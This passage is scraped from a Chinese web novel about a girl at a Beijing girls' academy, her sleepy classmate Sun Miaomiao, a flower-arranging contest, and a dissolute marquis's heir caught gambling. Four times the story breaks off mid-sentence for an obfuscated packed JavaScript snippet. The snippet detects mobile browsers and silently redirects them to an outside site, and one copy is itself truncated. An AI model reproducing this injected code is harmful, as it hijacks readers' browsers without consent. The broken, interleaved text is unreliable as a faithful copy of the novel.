凝视着落荒而逃的身影,商凝语觉得这一幕有些梦幻。 待目光转圜,凝到商凝言,她忽然笑意一收,警惕问:“你现在还跟那位白公子来往吗?” 商凝言正吃完,拧开水囊盖咕噜一口,摇了摇头,道:“没有,他们几乎很少来学里。” 商凝语放下心,收拾东西,兄妹二人各自回学。 下午上的是国学,女先生姓周,大约双十有五的年纪,不苟言笑,透着一点古板,听闻女童转告,头也不抬便指了个右下角临窗位置。 熟稔得仿佛司空见惯。 教室里案几共有四列六排,约二十名学生,商凝语走到最后一排。 窗外碧竹扶疏掩映,投玲珑翠影于案几蒲团,光影婆娑,别有一番风味。 方一坐下,前方的女娘便转过头来了,悄咪咪道:“恭喜你,你是第七个坐上这个位子的人。” 商凝语一愣,脱口而出:“荣幸之至。” 孙苗苗笑圆了一张可爱的俏脸,道:“我叫孙苗苗,是户部郎中的女儿,你呢?叫什么名字?” 商凝语眼眸清亮,报上家名,“我叫商凝语,来自忠勤伯府。” 孙苗苗拧眉思索,似乎没在脑海中翻出这门贵户,却也没当回事,笑道:“好的,那我们以后就是朋友了,欢迎你。” 商凝语眨了眨眼,不待她说话,孙苗苗转身又拿过来一个纸包,道:“这是见面礼,城南云芳斋的龙须酥,你尝尝。” 商凝语俯身前倾,悄声回:“我今日第一天入学,明天给你带我的见面礼。” 孙苗苗潇洒地摆了摆手,这时,周先生重回课堂,一声惊木拍下,满堂肃静,商凝语正襟危坐,仔细听课。 这节课讲的是《敬赋》,德行工容中的容字篇,“容”非止容颜妍媸,更兼仪态风神、气度涵养,主张内外相彰得宜,以纤秾合度敬己敬人。 周先生声线轻细,条分缕析,渐次拆解,道出来的文意通俗易懂。 最后总结,“端庄显自律,从容见涵养,以微笑传达善意,方成柔儿不弱、庄而不僵之仪。” 商凝语矛塞洞开,提笔一一记下。 “接下来,我找两个同学答题。”周先生拿出七寸尺条,目光如炬,点到,“白娘子。” 商凝语环视一周,只见前方第三排中间一位娘子起身,面容柔美,耳垂小巧,欸?竟是响午遇见的那位娘子,哦,姓白! 看座位以及先生的眼神,这位白娘子在艺馆中定有几分得宠。 很快,周先生提问完,白璎珞作答,待商凝语回神,一点没明白二人说了什么。 周先生示意白璎珞坐下,继而转移视线,凝向了临窗这边。 商凝语心里一突,这京城贵人们莫不是跟她犯冲?走哪打哪,专门逮着她一个人薅! 只听先生喊道:“孙娘子,你来回答下一个问题。” 商凝语狠狠松了口气,下一瞬,心又提了起来,前面这位圆脸女娘好像就是孙娘子? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362104|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻,这位女娘正趴在桌上,她距离近,甚至能听到绵长的憨憨声。 商凝语:“!” 这种上课睡觉的戏码她可太熟了,只惊了一瞬,她旋即低头。 捡起地上一根枯竹枝...... 这临窗的座位,才是满室佳座,非同道中人不能理解其中妙处。 她将竹枝折断,只留小指盖长短,俯身,指尖轻轻一弹。 “嘶......” 孙苗苗一声轻吟。 显然,她也是个惯犯,深谙课堂贪睡防范之道,惊乍后以龟速起身,始终埋首书卷,若无其事。 商凝语抿嘴暗笑,这京城,果真卧虎藏龙! 周先生面色铁青,道:“白娘子,剩下的课,麻烦你站着听!” 孙苗苗这才惊觉出事了,卸下伪装,乖巧地站起身,嗫喏道:“先生,对不住,我错了。” 周先生显然也早已习惯了,转眼就心平气和,继续上课,反倒是商凝语,有了孙苗苗遮挡,接下来半节课,也频频走神。 主要还是课程枯燥乏味,初听新鲜,再听就便如蚊吟在耳边乱唤。与县衙那个老学究讲课效果没二样。 下了课,孙苗苗便如软化了的泥人,一下子摊在了案几上,商凝语见之轻笑,收拾行囊,准备下学。 其他人相携作伴,陆续离开。 孙苗苗忽然复活,转身过来,木着脸质问:“方才,是不是你打我?” 商凝语语塞,半响迟疑道:“应该,不算打。” 孙苗苗圆脸忽而灿笑,执起商凝语的手,握了握,柔声细语道:“好朋友,不,好姐妹,以后上课就靠你了。” 模样十分狗腿。 商凝语意会,握了回去,俏皮道:“没问题。” 孙苗苗惨叫呻吟,“老天怎么没早点将你赐给我,啊啊啊,我要再留学一年。” 商凝语目光渗笑,喜意逐渐漫上心头,这冷漠的京城,终于找到了一点兴味。 “你等我一下,我们一起走。”孙苗苗匆忙道。 商凝语正缺一个向导,求之不得。孙苗苗将书卷一骨碌塞进包里,背上身拉着她一起出了教室。 - 深夜,勇毅侯府。 江昱一袭锦服,从外院大跨步回来,绕过九曲回廊,额间玉石在月色里流出一路清辉。 行至一半,他倏地止住脚步,玩世不恭的眼角微敛,端凝阴影处一角。 从旁雕刻精致的月洞门后显出一人影,拱手而立,见到他,俯身作揖,道:“世子,长公主等你多日了。” 江昱转了一下玉骨骰,道:“带路。” 侯府老嬷嬷在前面带路,拐过石林,便来了侯府主院的后堂。 勇毅侯好游山玩水,一年有大半时光在外游历,清平长公主一心向佛,在后堂摘一间屋子专门烧香祈福,一进屋子,便如进清幽寺庙,禅意浓浓。 佛堂前,檀香氤氲,袅袅升起。 清平长公主端坐蒲团案后,垂眸拈珠,四壁墙灯打在她灰色衣袍上,在案几边落下一片阴影。 江昱在案几三步远处,掀衣跪下,道:“母亲。” 15. 第 15 章 清平长公主掀开眼眸,手中佛珠微顿,目光将他上下扫视了一轮,问:“你这几日,在做什么?” 江昱嘴角微扯,道:“还能做什么?斗鸡,玩骰子,饮酒作乐,也没别的可再做的了。” 闻言,清平长公主半天不说话,只转动手中佛珠。 江昱就耐着性子跪着,一动不动。 待到墙上壁灯发出第三声哔剥,清平长公主轻叹一口气,道:“听说,禹王就快要到京城了。” 江昱面色不变,单音回了个字:“是。” 清平长公主眉线几不可察的颤了颤,淡声道:“你别高兴得太早,便是回来了,也动摇不了太子和乔家。” 江昱面上依旧是玩世不恭的笑,“那可未必。” 清平长公主胸口起伏,面上薄怒,“那也是他们之间的事,与你无关,我早与你说过,莫要与太子作对。” 江昱神色蓦地收敛,他不笑的时候眉眼下压,一张俊脸,流露几分睿智深沉。 见他如此,清平长公主又于心不忍,气涌丹田,咳嗽不止,江昱连忙执起案桌上的茶壶,倒一杯清茶出来。 清平长公主平复心绪,叹道:“再等一年,明年局势大定,新皇年轻,你想做什么,我都不会拘着你。” 闻言,江昱神色微动,却倏地一笑。 他道:“我还能做什么?那日不过是做个纨绔的样子罢了。” “国公府门第显贵,还需要你替他们出头?” “所以这才蠢得令他放心啊。” “你拿国公府作筏子,老太君焉可不知?” “您放心,她老人家不会在乎这点小事。” “总之,你见到太子,就绕道走,别去招惹他!”清平长公主又气又急,平静的面容终于显露浮躁。 江昱深吸一口气,平心静气道:“行,都听您的。” 出了门,他仰头望天,月色正好,照的天边如水洗般清澈,许久,他压制住心底咆哮的困兽,扬长而去。 翌日一早,嬷嬷又过来传话,“世子近日玩心太重,恐惹事端,公主说,还是要多去监学才能休养生息。” 不待他反应,一众奴仆端着衣物鱼贯而入。 不稍片刻,就将惺忪中的玉面公子拾掇妥当,架在案前用完早膳,麻溜的送去国子监,国子监管事面对侯府符牌,再不敢徇私舞弊,叫人看护好各大出口,恭敬地将这位二世祖请入监学。 再不稍半日,消息不胫而走,整个国子监学都知晓世子回归,一片喧哗,幸灾乐祸者有之,哀嚎长叹者有之,兴奋起飞者亦有之。 谁人不知,这位世子不仅纨绔,眼高于顶目空一切,而且还有几分喜怒无常。 那年书院中数考第二的工部给事中家幼子正在茶亭与人话诗,不知怎么招惹了途径而过的这厮,风马牛不相及的二人竟就在亭子中打了一架,小公子不仅力敌不过,甚至最后因得罪这厮而被勒令退学,从此离开监学。 还有那年,喜好颇有些奇特的白家小公子与他对赌,二人纸上谈兵,于宣纸上对弈骑射,凭空捏造的一种游戏,不仅玩得津津有味,而且最后竟成了朋友。 这位世子一来,监学的风气总要换一换,且等着瞧,那位向来苛刻严谨的刘管事,必要愁秃了脑门提防这厮。 国子监热闹非凡,习艺馆这边却依旧静如春风拂面,处处鸟语花香袭人,一片其乐融融景象。 入学已有些日,转眼进了孟冬,天气转寒,午膳后,孙苗苗拉着商凝语寻一处凉亭晒太阳。 艳阳高照,湖水碧波,商凝语伏在长椅靠背,身上盖着银灰色绣花斗篷,昏昏欲睡。 孙苗苗却是课上昏迷课下清醒的身体,此刻精神十足,从侍女手中拿过来一碟鱼食,吊高跷似的往池里抛。 边道:“自从你来了之后,我被抓的次数就少了,为了答谢你,明日沐休,我请你去风客来吃酒,你去不去?” 商凝语闻言精神一振,“当然要去,为了给你盯梢,我一心二用,别提多累,不吃怎么对得起我?” 自第一日上课后,二人迅速熟稔起来,商凝语准头好,警示的动作又快又准,每次在先生注意过来时,总能第一时间提醒孙苗苗。 这就不得不佩服孙苗苗这位小娘子,能吃能睡,仿佛周公坐堂,随时能约会。 商凝语虽定力十足,勤学好问,但骨子里也是个散漫之人,见她不如别人身怀九曲玲珑心,便生出亲近,不需几日,两人就处成了知交好友。 孙苗苗笑嘻嘻:“那就说好了,明日辰时,我去接你。” 商凝语心暖。 她好不容易沐休,祖母不一定放她出府游玩,但孙苗苗乃是户部郎中之女,户部郎中虽职位不高,却有实权,她亲自去接,祖母那儿的规矩定能宽松些。 下午是辅课,插花。 先生待上来一支青蓝色汝窑弦纹瓶,手拿一束栩栩如生的兰花,枝叶丛生,若非商凝语已经知晓这是时兴的绒花,就要当真以为,在这凛冬将近的日子,兰花倒行逆施,逆风而长了。 “上节课提到,插花之道,重在格调。品味须超凡脱俗,避艳弃俗,可追求疏影横斜之姿,亦可追求古拙清奇之态。花器需古朴素雅,否则喧宾夺主,无论是青釉凝脂,还是哥窑冰裂,都需与花材相得益彰,今日,我便以墨兰为调,取这只青蓝汝窑作配,示范一次。” 商凝语细细聆听,兰草之叶,修长飘逸,而花苞内敛,在先生的巧手下,便在窑瓶中秀出空谷之美。 瓶花之艺,春取杏雨梨云,夏选荷风竹露,秋伴菊傲霜枝,冬映梅报寒香,而绒花的出世给枯白的寒冬增添了一份浓浓色彩,二者相伴,可令室内四季如春,百花齐放。 这节课很快,上完之后,孙苗苗还在酣睡,先生却投下重磅,“下月初,就是馆中一年一度的花会,以往参加过的娘子就不要再参加了,我来点一下今年参赛的名单。” 说着,就点了几个名儿,都是商凝语不熟的,竟有白璎珞的名字。 她正怔愣间,忽听先生点道:“商娘子。” 商凝语顿时如遭雷击,仓惶应:“是。” 先生面露微笑,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362105|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日沐休,请这几位娘子精心准备。” 商凝语深度怀疑,她八字与京城犯冲。 短短一月,竟就遇上两场赛事,她便是神童转世,又如何能在这土生土长的贵女中不落于下下乘? 上次遭遇,她可还记忆犹新着,当时她只庆幸围者不多,又有程家表姐及时解围,才叫外人只记住她在马场上的丰功伟绩,没成贵女闲情之下的饭后余谈。 但这次不同了,没人可以帮她。下了学,顾不上回府,赶紧推醒孙苗苗。 孙苗苗睡眼惺忪,听了她的话,提气道:“哦,原来是这事,别急,没事的,很轻松。” 非常不地道地,商凝语被她云淡风轻的口吻安抚了。 勤能补拙,与孙苗苗相比,她可以大言不惭,满课堂里没有比她还要认真的学生了,便是只上四五节课,吸纳课堂之精华后也比孙苗苗强。 但又想到,可能在此睡神眼中,没有什么是“必须急,大事不妙,严重至极”的事,心又提了起来。 而且,花艺讲究的是品味,可以自小耳濡目染熏陶而成,孙家是书香门第,便是不上课,那品味,也会比她这个乡下来的强。 孙苗苗则没有注意她的脸色变幻,兀自道:“虽说是一年一度,但其实才举办三年,馆中以插花为辅,便不需要你精益求精,不然你以为,你才来几天,上过几节课,凭什么就能参赛?” 商凝语冷静下来,也就是说这是个充数的赛,纯属为了彰显馆中对这门课程重视而举办的敷衍赛。 她刚沸腾到冒泡的心又平息了一点,问:“届时都有谁参加?” 孙苗苗仔细回想,“去年我参加的时候,是上一届的魁首,男学那边也会挑几个名门世家的公子前来。” 商凝语明白了。 这些贵女和她一样,进入艺馆都是为了嫁个好人家,将来相夫教子,红袖添香,能增加夫妻感情,鸿案相庄,举案齐眉。艺馆设置这门赛事,便是让女子更早的了解同龄公子们的喜好。 不得不说,考虑得真周到。 但总觉得,不得味。 她心情复杂,问道:“你去年做的是什么?战绩如何?” 孙苗苗啧了一声,“我家后院种了一棵杏树,我就做了绒花杏,以蕨叶作陪,取天青釉瓶为底,呈上一支《春山新雨》。” 商凝语通过她的描述遐想,蕨叶蜷曲如云,数个浅黄色的杏果点缀其间,落在温柔似玉的暖瓶中,清新婉约,令人眼前一亮,既生出春意复苏之感,又让人在凛冬时节生出口腹之欲,雅俗共赏。 不愧是书香门第家的女儿,一出手就是佳作。 她追问,“去年参赛者几人?你拿了第几名?” 孙苗苗横了她一眼,在对面坐了下来。 谆谆教导:“这种赛事,名次不重要,重在参与。只有世家名门才会力争第一,那些第一也都是给她们的,否则,将来嫁人,她们如何高嫁?” 孙家虽然世代官宦,但距离世家名门还差着一条护城河,她觑了一眼商凝语,道:“你别说,你也想高嫁?” 16. 第 16 章 商凝语从她眼中看到“你就算拼了命作了先生也高嫁不了”这个意思,木着脸,连连摇头。 “这就对了。” 室内人都走光了,孙苗苗说起来毫无忌惮,“我娘天天在家跟我说,要文静舒雅,咱们来修炼德行工容,是为了以后嫁个好人家,举案齐眉有所倚。但你也得知晓,你能嫁的是什么人,难道我认真学了,样样拔尖,那些家世显赫的公子们就能看得上我吗?” 呦,竟然是同道中人。 商凝语心中欣喜,眼睛发亮。 孙苗苗忽然神叨叨地低头,道:“相反,你可以利用这样的机会,自己挑选夫君。” 商凝语虽心有所属,但也忍不住聆听,“愿闻其详。” 孙苗苗单手支颐,圆嘟嘟的脸颊显现出一抹红晕,眼睑挑动,道:“你可以展现自己的本性和优势,配得上你的,自然追你而来。” 商凝语若有所思,忽而,灵机一动,恍然大悟,“令堂已经为你定下亲事了?” 孙苗苗眼珠忽闪,支支吾吾:“嗯......三日前定下的。” 怪不得昨日周公失灵,原来是情郎呼唤! 可怜的小郎君,也只维持了三日。 商凝语真心祝福:“恭喜恭喜。” 孙苗苗感觉自己找到了人生真谛,总结:“所以啊,倒不必为了那些高不可攀的人来为难自己。” 商凝语眼露怀疑,“所以,你到底拿了第几名?战绩如何?” 孙苗苗面露不虞,嗔怒:“我说这么多,你怎么还没明白?名次不重要,重要的是展现真实的自己。” 商凝语看着她。 孙苗苗泄气,“一共十人参加,我暂居第十。” 商凝语:“!” 商凝语目瞪口呆。 孙苗苗心虚气短,道:“你别着急,你有希望的。我是有个杏果没做好,嗯,跑绒了,就......落了下乘。” - 交友不慎,商凝语决定跟孙苗苗绝交,她再也不要听这损友胡说八道。 孙苗苗说错了,不是所有女子进习艺馆,都是为了寻找夫婿,还有一种,是为了能做自己。 陆霁学富五车,将来一步登科,学识、眼界随之疯涨,她现在是伯府小娘子,还有一点身份优势,可打铁还需自身硬,她得充实自己,才能拥有立足之本。 孙苗苗自知理亏,临了甩出一句话,“你回去问问你四姐姐吧,去年她是馆中教习,参加了评考,她知道的绝对比我多。” 商凝语又惊又喜。 惊的是商明惠竟这般厉害,不过想想又觉得是在情理之中,喜的是,她终于找到机会亲近四姐姐啦! 自从摸清伯府一大家子的品行后,她愈发喜欢这个四姐姐,深深觉得,这就是满池污浊里唯一一棵清莲,出淤泥而不染,濯清涟而不妖,亭亭而独立。 当然,她那离家多年的阿爹,必须算作悬风而立的清荷,蜻蜓点水浊里过,半点污泥不沾身。 最近几次借着理由去梨棠院,可惜都因理由不充分不合理,被刺了回来,不是做好的冰糖梨水径自被端进去有去无回,就是四娘子正在编曲谢绝打扰。 哦豁,她就是低不配与冰清玉洁的四娘子同桌共食,高不能附庸风雅与四娘子同台编曲。 每次总能被云锦这小妮子给四两拨千斤的堵回来,说多了就是:“七娘子不若去燕拂居,我家娘子忙,不会曲意逢迎,也不能日日陪七娘子玩耍,白费七娘子一番心意了。” 商凝语理亏,次次心虚退回,但这次,理由正当,谁也不能阻挡了! 梨棠院的大门,必须向她敞开! “明天的席面,就暂且搁置了吧,”商凝语临去前,对孙苗苗道,“待下次沐休,你再请我,哼哼,给我把你的小金库好好存着,等待召唤!” 孙苗苗点头如啄米,“行,行,期待你得胜而归,替我等学渣一雪前耻。” 商凝语下巴一台,雄赳赳气昂昂地踩上脚杌,登上马车。 马车内,商凝言手执书卷,作深思状,显然还在温读今日课程,见她进来,方才放下书卷,关心道:“你今日为什么出来晚了?” 商凝言是找到解决办法就不会自怨自艾的性子,寻了个舒服的位子倚着,眉目舒展道:“艺馆过几日要办花会,先生点了我参赛,跟孙娘子探讨了几句就耽误了时间。” 商凝言见她言语松快,一点不见紧张,奇道:“你已经想好用什么作品了?” 商凝语知他所想,道:“没有。”继而挑眉一笑,“但是四姐姐是去年评官,我回家去问四姐姐去。” 商凝言意会,执起书卷继续温读。 商凝语有心打听监学那边前来点评者是谁,转念一想,问了也是白问,难道真的要针对某个人?她才不。 便阖目休憩。 车厢内只听得见窸窸窣窣的翻书声。 - 暮色开合,转眼漫天星斗,风露已呈中宵。 与习艺馆不同,国子监乃国之利器,泱泱学府,集天下之文萃。 监内殿阁巍峨,琼楼玉宇绵延数里,可谓雕梁画栋,金碧辉煌。廊庑环绕,参天古木、奇花异草,曲径通幽,移步换景,每至开学,朗朗书声便随早起的晨鸟,在碧空如洗的书阁上空久久盘旋。 但,正因监学内占地宽阔,地域广袤无边,便如明镜正堂亦有蒿莱丛生之理,吏者管束,总有鞭长莫及之地。 位于国子监西北角,便是监学男子宿舍后,有一座小角楼,在前朝国子监初建时,这座小角楼乃是藏书阁,里面珍藏了无数典史名著,古董名画,后来,战火四起,太祖举兵进城,无意间损坏了藏书阁,导致半数古玩珍品被毁。 太祖痛心疾首,天下初定便着令工部修缮藏书阁,又重新收集天下名家珍藏至宝,威逼利诱下,大量古典重集流入监学,工部酌情一看,旧楼损毁严重,已然难再重现当年,不如择新址复建一楼。 太祖大笔一挥,旧楼便空置下来,而今,成了一众蠹虫偷奸耍滑而管事鞭长莫及之地。 藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362106|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书阁修缮一半后被搁置,摇身一变,变成小角楼,外看角楼,因新楼迁址,此处倒显偏僻荒芜,内观角楼,雕梁画栋,藻绣朱绿,隔着蒙蒙尘土,依稀可见巧夺天工之精妙。 二楼靠近最里的一间屋,门扉难阻喧闹,一群人围着长方青案,案头各置碎银,骰蛊乍响,象牙骨骰跃入朱盘,旋如走珠,众人屏息凝视其转。 江昱端坐一头,背靠圈椅,一手随意地搭在圈杆上,一手玩得玉骨骰飞速旋转,姿态闲适,满室赌徒前就属他面前金银最多。 以金赌文,也是满京城独此人一份。 忽然骰定,众人定睛,一室哗然,对面的书生见了面数,脸上一松,拱手笑道:“世子,承让。” 江昱也倏地笑了,伸出食指对准桌前一锭金子,只见他轻轻一拨,金子便如疾风劲草,飞到书生面前,书生喜不自胜,连声道:“多谢世子。” 今夜盛宴正入高潮,下一名书生,上场。 国子监管事姓刘,跑得双腿打颤,终于寻到了这里,抬头见阁楼二层灯火晕黄,人影憧憧,他俯腰撑膝直喘气。 待缓过劲来,刘管事整了整衣衫,以迅雷不及掩耳之势走到正门前,猛一推门。 门内小厮骤然受惊,蓦地从美人塌上弹起,“谁!胆大包......啊,是刘管事,您,您怎么来了?” “我不能来?”刘管事乜斜了一眼,眼神往楼上飘,问,“世子也在?” “那哪能啊?”小厮移步谄笑,不动声色地挡住去路,道,“都是兄弟几个躲着主子偷懒,您大人不记小人过,放过小的们一回。” 刘管事难得揶揄:“谢花儿,你家主子在学馆里横着走,哪个奴才胆大包天,敢劳动您,在这儿守着?” “哎呦,刘管事,您看您说得,不敢当,不敢当。” 刘管事冷哼,半日火气化成磅礴力量,汇聚到胳膊上,一把将他推开。 斥声怒道:“你们这些蠹虫,好好的主子们都叫你带坏了。”一边径直往楼上走。 谢花儿心中叫苦不迭,眼见央浼不过,赶紧大声道:“刘管事,您慢点,哎,对,这有根台阶,千万小心。” 万籁俱寂。 刘管事凝视着他,威力四射。 谢花儿躬身,视线落在陈旧地板上,姿态谦卑到尘埃,欸?就是不瞧! 刘管事冷眼抛给瞎子看,耳边却听到楼上一阵嘈杂,脚步声、木板碰撞划出的呲啦声和成一锅粥,门外重物落地的砰砰声接踵而至,此起彼伏,可谓精彩极了。 谢花儿呆若木桩,良久,尴尬地笑了笑,“这楼年久失修,老鼠......可能,有点多。” 刘管事面色僵硬,一甩宽袖,拾级而上。 推开门,正瞧见几个学生登窗逃逸,听见破门声,那几人毫不犹豫,齐齐往下一跳。 刘管事差点吓得魂飞魄散,顾不上威严了,连忙冲到窗边,幸好,阁楼梁栋九曲十折,一步跃下,还能借力横缘,这几个学子落地仓惶,看上去崴了脚,但没至于命丧黄泉。 17. 第 17 章 刘管事一口气还没卸下,再瞧一眼远方,顿时眼前一黑,差点晕厥。 月色清辉,楼灯闪耀,只见青衣直裰学士服如星河点缀,洒满前方一片广场,此刻犹如海水退潮,尽数离去。 岂有此理,简直岂有此理! 刘管事面色铁青,愤愤地捶了两下窗棂,他拼命记住几人背影,下定决心明日一定要整顿学规,然后,通报各府,责令退学! 众人一哄而散,热闹喧阗的小阁楼,顷刻人去楼空。 咳,唯剩一人端坐。 江昱正襟危坐,趁着刘管事无暇顾及地片刻,谢花儿变戏法似的放了一本书在主子面前,躬身立在身后。 江昱煞有介事地摇了摇头,状作失落道:“先生这是作甚?我初回学府,功课落下许多,这才寻几位同窗前来帮我温习,您这一来可倒好,全给我吓跑了。” 刘管事望着长有七尺的桌案,视线落到他身后,板正道:“哦?谢花儿,你方才不是说,都是你的弟兄们在上面吗?” 江昱扬眉。 谢花儿苦着脸,道:“小的这么说,可不就是怕您跟上来,给人都吓跑了,耽误世子学习吗?” 刘管事一噎,“那你跟我说说,他们为何要跑?” 谢花儿瞅了瞅自家主子,似乎为难,又似乎不忍,不过,说出的话却丝毫没犹豫,“这些学生都是学府栋梁,来教咱们世子都是暴殄天物,还怎么敢让先生知道?” 噗!刘管事差点没被自己的口水呛死。 江昱手中玉骨骰一顿,他斜着眼扫了眼身后,白皙的脸上仿佛写着“你死定了”。 谢花儿垂首,不瞧不瞧,就是不瞧! 这时,寂静的室内发出一声闷哼,几不可闻,但又叫三人都听了个切切实实。 刘管事环视一周,看向靠墙的书柜,他冷哼一声,眼中冷光乍现,抬步向书柜走去。 江昱干咳一声,道:“先生寻我半日,应该是有事吧?” 刘管事面上阴晴不定,许久,决定放过柜中人,来到桌前在江昱身边坐下。 秋风大作,谢花儿去将窗扉阖上。 刘管事的气不知为何,忽然消了大半,他宽声道:“世子不必妄自菲薄,当年你也是天纵奇才,垂髫之年便能过目成诵,这几个人在你跟前,那都是蠢笨愚徒。” 江昱嘴角微翘,道:“先生过奖。” 刘管事张了张嘴,面色几经变幻,最终放弃,转而道:“下月初,习艺馆女学举行花会,这边要选三名男子前去点评,学府以为,让你去一个。” 其实时间还是下月,并不急于一时,但他就怕这小祖宗趁着明个儿沐休又玩失踪,今日一下学,他就派人在各个出口堵着,没闻着讯才确定他尚在府内,没想到还是差点将人弄丢了。 此子虽浑,但一诺千金。 总得想个法子将他安心留下来,才能不枉长公主送上的五套名家孤本。 “不去。”江昱一口拒绝。 刘管事也不意外,道:“艺馆花会举办三日,参加者,准假三日,除点评时需在场,其余时候,身家自由。” 江昱将书本一合,依旧果断:“不去。” 刘管事微顿,目光凝向他的书本,呵呵笑:“世子三岁就能将《三字经》倒背如流,而今竟还要拿出来讨教一群幼儒,当真是返璞归真啊。” 谢花儿浑身僵硬,江昱拧眉。 刘管事又劝:“监学之中,多是熟读经书的学究,品竹调丝,莳花弄草,他们都不如你,除此以外,此次赛事,选你前往也是艺馆馆主所求。” “花艺向来冷门,女娘们追新时移,复刻居多,新颖不足,而你惯来标新立异,有奇思妙想,有你前往,能引领女娘们多思构巧,增加花艺一门在艺馆中的重视。” 江昱嗤。 刘管事先是十里赛跑,后是口若悬河,此刻已是口干舌燥,见他仍旧油盐不进,终于耐心告罄。 站起身,拔步向书柜走去。 先礼后兵,他还得多谢,有这么个机会,能拿捏住这混不吝的臭小子。 江昱见他走向,眉头紧锁。 就在刘管事的手覆上门扣时,他忍怒道:“行,我答应了。” 刘管事笑了,双手从脖颈往下,拧着外衫整了整,道:“那就说好了,届时,我会通知你时间。” 说罢,扬长而去。 下楼的脚步声渐行渐远,书柜猛地被人推开,程玄晞从里面爬出来,终于忍不住,捧腹大笑。 “谢花儿,你,哈哈哈,谢啦。” 江昱面色不善,冷哼一声,也跟着起身离去。 谢花儿也没好气地瞪了一眼程小公子,战战兢兢地跟了上去。 - 忠勤伯府,翌日。 请完安后,商凝语端着一碗金粟藕琼羹,敲开了梨棠院的院门。 这是她亲手制作的甜羹,取青玉白瓷小碗,往里放一勺白玉藕粉,拿少量凉水融化,用开水一冲,便形成如凝脂般粉嫩的藕露,再覆上一层桂花酿,轻轻搅拌,清淡香甜,闻之沁人心脾,令人口舌生津。 云锦睨了眼甜羹,伸手去接。 点翠紧急收回,抬着下巴睨了回去,商凝语笑语嫣然,道:“艺馆下月举办花卉赛,听闻四姐姐是昔日教习,我特来请教。” 云锦如鲠在喉,重重地哼了一声,才回身去通禀。 商凝语心情格外舒畅,哼着歌儿在门口晃悠。 点翠在一旁作陪,昨夜,她终于忍不住了,询问:“四娘子好生奇怪,对咱们忽冷忽热,这搁在以前,娘子您早不搭理人家了,这次为何非要上赶着求和?” 她听娘子道:“因为是四姐姐,我嫡亲的姐姐。” 她望着自家娘子,从清湛的目光中,看到熟悉的偏执意味。 不多时,云锦出来请她进去。 这是商凝语第一次步入梨棠院,青砖墁地平整,东西两厢抄手游廊皆以湘妃竹帘相隔,既透光又显朦胧之美。 进入正屋,便见紫檀木镂雕四季屏风,其后湘绣纱幔低垂,凌霄帐幔用赤金镂花钩挽起。临窗置黄花梨书案,其上湖笔徽墨、端砚宣纸井然罗列,另有一尊古铜鎏金狻猊香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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商明惠顿住,仿佛将几味甜羹都代入遥想了一边,再开口,话音一转,道:“谢谢。” “不客气。”商凝语喜笑颜开,复又做出可怜兮兮状,“那您能告诉我,要怎么赢得这场比赛吗?” 商明惠掀眸,眼底浮上一丝奇怪,问:“这个赛,你也想赢?” “当然,”商凝语义正言辞,“输了岂不是让人家笑话?” 商明惠轻笑,倒没说什么,开始跟她说赛事,道:“主要是合应实景,且又要有观赏之美,倒也没有多特别之处。” “道理大家都懂,都遵从自然法则,可既然有排名顺序,那肯定还是有区别,这区别如何算呢?”商凝语刨根问底。 商明惠失笑,说出的话与孙苗苗如出一辙,“区别在于各人眼光不同,你不必执着输赢,若是你觉得放在屋里,能让你心旷神怡,心情舒畅,便是别人赢了,也不如你的好。” 接着,将往届见过的优秀作品一一拆分与她解说。 商凝语似懂非懂,忽然灵机一动,有了个大胆的想法。 但她没说,商明惠见她已经有了主意,压了口茶水。 商凝语带着满意的答案离开了梨棠院。 云锦送完人回来,极为不高兴地抱怨:“七娘子诡计也太多了,以后还怎么拦得住?” 商明惠笑了笑,道:“以后不必拦着,就让她进来吧。” 云锦又惊又忧又喜,脸上色彩纷呈,最后干干脆脆道了句:“是。” 18. 第 18 章 商凝语回到艺馆,才得知,商明惠不仅口头上引导她该如何参加这次比赛,而且通信告知了周先生,托她关照。 沐休结束,重回课堂,下课后,周先生递给她一本书,着她仔细品味,回到马车上,她方才打开一看,里面竟是这三年花会赛的参赛作品,姹紫嫣红,应有尽有,可谓百花齐放,习艺馆不愧是贵女齐聚的荟萃之地。 一场鹅毛大雪后,很快,到了冬月初。 大雪初霁,习艺馆停课七日而正门开放,广发花帖,邀昔日学生前往共赏雅集。 商明惠和商明菁自然也收到了花帖,三姐妹甚至连商凝言也受邀在列,一同前往艺馆。 她们踏雪而来,各个披着织锦斗篷,执暖玉手炉,一进艺馆,商凝语兄妹二人就被眼前景色惊呆了。 